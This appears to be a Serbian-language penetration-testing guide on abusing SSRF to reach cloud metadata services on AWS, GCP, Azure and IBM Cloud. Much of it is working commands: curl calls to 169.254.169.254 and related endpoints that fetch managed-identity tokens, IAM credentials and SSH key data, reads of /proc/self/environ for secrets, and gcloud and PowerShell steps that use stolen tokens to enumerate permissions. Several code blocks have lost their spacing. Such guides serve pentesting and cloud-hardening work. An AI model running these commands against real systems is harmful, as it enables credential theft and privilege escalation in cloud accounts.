Metapodaci endpoint može se pristupiti iz bilo koje EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na URL-u: http://169.254.169.254 (informacije o metapodacima ovde).
Postoje 2 verzije metapodatkovnog endpoint-a. Prva omogućava pristup endpoint-u putem GET zahteva (tako da bilo koji SSRF može to iskoristiti). Za verziju 2, IMDSv2, potrebno je zatražiti token slanjem PUT zahteva sa HTTP zaglavljem i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je komplikovanije zloupotrebiti sa SSRF).
Napomena da ako EC2 instanca primenjuje IMDSv2, prema dokumentaciji, odgovor PUT zahteva će imati hop limit od 1, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance.
Pored toga, IMDSv2 će takođe blokirati zahteve za dobijanje tokena koji uključuju X-Forwarded-For zaglavlje. Ovo je da se spreči da pogrešno konfigurisani obrnuti proksi mogu da mu pristupe.
Možete pronaći informacije o metapodacima u dokumentaciji. U sledećem skriptu se dobijaju neke zanimljive informacije iz njega:
Obratite pažnju na aws_session_token, ovo je neophodno za rad profila.
PACU se može koristiti sa otkrivenim akreditivima da saznate svoje privilegije i pokušate da ih eskalirate.
SSRF u AWS ECS (Container Service) akreditivi
ECS je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate sopstvenu infrastrukturu za upravljanje klasterom, jer ECS to upravlja umesto vas. Ako uspete da kompromitujete uslugu koja se pokreće u ECS, metapodaci se menjaju.
Ako pristupite http://169.254.170.2/v2/credentials/<GUID> pronaći ćete akreditive ECS mašine. Ali prvo morate da pronađete <GUID>. Da biste pronašli <GUID>, potrebno je da pročitate environ promenljivu AWS_CONTAINER_CREDENTIALS_RELATIVE_URI unutar mašine.
Možete biti u mogućnosti da je pročitate koristeći Path Traversal na file:///proc/self/environ
Pomenuta http adresa bi trebala da vam pruži AccessKey, SecretKey i token.
Napomena da u neki slučajevima ćete moći da pristupite EC2 metapodacima instance iz kontejnera (proverite IMDSv2 TTL ograničenja pomenuta ranije). U ovim scenarijima iz kontejnera možete pristupiti i IAM ulozi kontejnera i IAM ulozi EC2.
SSRF za AWS Lambda
U ovom slučaju akreditivi se čuvaju u env varijablama. Dakle, da biste im pristupili, potrebno je da pristupite nečemu poput file:///proc/self/environ.
Imezanimljivih env varijabli je:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Pored toga, pored IAM akreditiva, Lambda funkcije takođe imaju podatke o događaju koji se prosleđuju funkciji kada se pokrene. Ovi podaci su dostupni funkciji putem runtime interfejsa i mogu sadržati osetljiveinformacije (kao unutar stageVariables). Za razliku od IAM akreditiva, ovi podaci su dostupni preko standardnog SSRF na http://localhost:9001/2018-06-01/runtime/invocation/next.
Napomena da su lambda akreditivi unutar env varijabli. Dakle, ako stack trace lambda koda ispisuje env varijable, moguće je izvući ih izazivajući grešku u aplikaciji.
Da biste koristili exfiltrirani token servisnog naloga možete jednostavno uraditi:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
Azure VM može imati prikačenu 1 sistemsku upravljanu identitet i nekoliko korisničkih upravljanih identiteta. Što u suštini znači da možete imitirati sve upravljane identitete prikačene na VM.
Po defaultu, metadata endpoint će koristiti sistemom dodeljeni MI (ako postoji).
Nažalost, nisam mogao pronaći nijedan metadata endpoint koji ukazuje na sve MI koje VM ima prikačene.
Zato, da biste pronašli sve prikačene MI, možete uraditi:
Dobiti prikačene identitete pomoću az cli (ako ste već kompromitovali neki princip u Azure tenant-u)
Dobijte pridružene identitete koristeći podrazumevani pridruženi MI u metapodacima:
export API_VERSION="2021-12-13"# Get token from default MIexport TOKEN=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \|jq-r'.access_token')# Get needed detailsexport SUBSCRIPTION_ID=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.subscriptionId')export RESOURCE_GROUP=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.resourceGroupName')export VM_NAME=$(curl-s-H"Metadata:true" \"http://169.254.169.254/metadata/instance?api-version=$API_VERSION"|jq-r'.compute.name')# Try to get attached MIscurl-s-H"Authorization: Bearer $TOKEN" \"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION"|jq
Dobijte sve definisane upravljane identitete u tenant-u i napadnite da vidite da li je neki od njih povezan sa VM-om:
azidentitylist
U zahtevima za token koristite bilo koji od parametara object_id, client_id ili msi_res_id da označite upravljeni identitet koji želite da koristite (docs). Ako nijedan nije naveden, biće korišćen podrazumevani MI.
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount-AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Imajte na umu da u IBM-u po defaultu metapodaci nisu omogućeni, tako da je moguće da nećete moći da im pristupite čak i ako ste unutar IBM cloud VM-a
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl-s-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token"-XGET"http://169.254.169.254/metadata/v1/instance?version=2022-03-01"|jq# Get SSH keys infocurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/keys?version=2022-03-01"|jq# Get SSH keys fingerprints & user datacurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"|jq# Get placement groupscurl-s-XGET-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"|jq# Get IAM credentialscurl-s-XPOST-H"Accept: application/json"-H"Authorization: Bearer $instance_identity_token""http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"|jq
Dokumentacija za različite platforme za usluge metapodataka je navedena u nastavku, ističući metode putem kojih se može pristupiti konfiguracionim i runtime informacijama za instance. Svaka platforma nudi jedinstvene krajnje tačke za pristup svojim uslugama metapodataka.